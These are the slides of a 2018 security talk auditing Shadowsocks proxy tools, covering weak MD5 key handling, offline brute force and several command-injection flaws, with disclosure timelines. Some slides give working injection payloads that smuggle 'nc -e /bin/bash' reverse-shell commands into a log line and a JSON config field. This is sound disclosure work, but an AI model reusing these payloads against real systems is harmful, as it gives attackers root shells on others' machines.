SHADOW ON THE WALL

RISKS AND FLAWS WITH SHADOWSOCKS

Pass The Salt 2018 - Niklas Abel
WHOAMI

- Niklas Abel
- IT security consultant at X41
- Mainly pentesting and auditing code
- niklas.abel@x41-dsec.de
- @CyberCl0wn
WHY?

- Wanted to know if Shadowsocks is secure
- Wanted to use Shadowsocks by our own
- Searched for code and design issues
- Audited C and Python implementation plus some config tools
SHADOWSOCKS

- Local Socks5 proxy
- Many commercial server offers
- Implementations in >13 different programming languages
- Support for nearly all platforms with Internet connection
SHADOWSOCKS

- Very robust connections
- Symmetric encryption
- (Pseudo) Random Message lengths
- Absence of visible protocol information
STEALTHING THROUGH THE FIREWALLS

VS.

• Shadowsocks tries to make traffic undetectable
• ShadowsocksR improves through imitating common protocols like HTTP
• Escapes restricted networks
STEALTHING THROUGH THE FIREWALLS

VS.

- Can escape of the great firewall of China
- Used for example by dissidents or whistle blowers
- Tor and similar tools get often blocked through deep packet inspection and fingerprinting
- Measures entropy of first 32 TCP packets per connection
- Measures entropy of the lengths from the first 32 TCP messages (fork)
- Even detects ShadowsocksR
- False positives are assumed but unlikely
DECRYPT
KEY HANDLING

- MD5 hash function for key derivation
- Hash is used as static key
- No key exchange protocol
- Missing forward secrecy
BRUTE FORCE

- Logged traffic could get decrypted afterwards
- Captured traffic can be bruteforced offline
- Generating keys with MD5 and try to decrypt the traffic
- Core i5-7200U CPU @ 2.50 GHz bruteforced 197.2 thousand passwords per second in our tests
BRUTE FORCE

PoC Video at: https://youtu.be/z6l9XtlZQVw
EXPLOIT
SHADOWOCKS - AUTOBAN.PY

"Ban Brute Force Crackers"

- Similar to fail2ban
- Parses log files for IP addresses
- Detects wrong password attempts
- Blocks users with IPTABLES firewall (root)
SHADOWOCKS - AUTOBAN.PY

From Shadowsocks wiki:

```
python autoban.py < /var/log/shadowsocks.log
```

Could be used for example in a cron job
SHADOWOCKS - AUTOBAN.PY

From Shadowsocks Wiki:

```bash
nohup tail -F /var/log/shadowsocks.log | \ python autoban.py >log 2>log &
```

Waits for EOF and will never work

```python
for line in sys.stdin:
    if 'can not parse header when' not in line:
        continue
    ip_str = line.split()[-1].rsplit(':', 1)[0]
    ip = inet_pton(ip_str)
...```
if ip not in banned and ips[ip] >= config.count:
    banned.add(ip)
    print('ban ip %s' % ip_str)
    cmd = ['iptables', '-A', 'INPUT', '-s', ip_str, '-j', 'DROP', '-m', 'comment', '--comment', 'autoban']
    print(' '.join(cmd), file=sys.stderr)
    sys.stderr.flush()
    subprocess.call(cmd)
SHADOWOCKS - AUTOBAN.PY

Let us execute code as root with our clients host name:

" can not parse header when ||
ls&:\nnc -e /bin/bash 127.0.0.1 55555\nexit\ncan not parse header when ||||
/bin/bash</var/log/shadowsocks.log&:\n"
SHADOWOCKS - AUTOBAN.PY

PoC video at: https://youtu.be/08zw5CEgj7c
SHADOWOCKS - AUTOBAN.PY

- Requested to patch several times
- Patched after 129 days (issue #995)
- Submitted too many bugs in one request?
- Forks like ShadowsocksR are still vulnerable
SHADOWSOCKS-LIBEV

- Implemented in C
- Serves as unix domain socket or via UDP to manage its Shadowsocks implementation
- Calls "construct_command_line(manager, server);",
  returns a parsed string

String gets executed with:

```c
if (system(cmd) == -1) {
```

https://x41-dsec.de
SHADOWSOCKS-LIBEV

Can be used to escalate privileges on localhost:

```bash
nc -u 127.0.0.1 8839
add: {
  "server_port": 8003,
  "password": "test",
  "method": "||nc -e /bin/bash 127.0.0.1 55555||"
}
```
SHADOWSOCKS-LIBEV

PoC video at: https://youtu.be/2q6loe6q0Rc
SHADOWSOCKS-LIBEV

- Fixed after one day
- Vendor assigned CVE-2017-15924
- Github issue was #1734
SHADOWSOCKS CONNECTION

- Not part of the main project
- Crawls a web page for Shadowsocks server credentials
- Default was http://ss.ishadowx.com
SHADOWSOCKS CONNECTION

line 82-85 in version 0.5,
input from unencrypted HTTP:

```python
sss='{} -s {} -p {} -k {} -m {} {}
'.format(args.ss,
    self.servers[num-1][0],
    self.servers[num-1][1],
    self.servers[num-1][2],
    self.servers[num-1][3],
    ssopt)
print(sss)
try:
    check_call(sss, shell=True)
```
SHADOWSOCKS CONNECTION

- ";#" could be attached to or used as a parameter for code exec
- Fixed after 71 days with commit #f674f7d
- Uses Shadowsocks python library directly
- Uses https://ss.ishadowx.com
SS-LINK-AUTO

- Shadowsocks wrapper "auto-ss" logs into website
- Parses a table with Shadowsocks login credentials
- Executed when spawning a Shadowsocks connection:

```python
p = subprocess.Popen("exec " + ss_local_cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
```
SS-LINK-AUTO

- Still unfixed
- Vendor contacted at 2017-10-05
- Publicly reported at 2017-12-18
- Recommended the patch of ShadowSocks ConnecTion
- Last commit was 3 years ago
SUMMARY/RECOMMENDATIONS

• Don't expect to be invisible with Shadowsocks
• Use secure passwords
• Use a VPN inside of Shadowsocks
• Do not use autoban.py
• Use Shadowsocks-libev implementation
• Use the patched ShadowSocks ConncTion for config distribution
QUESTIONS?

- niklas.abel@x41-dsec.de
- @CyberCl0wn

Cat Tax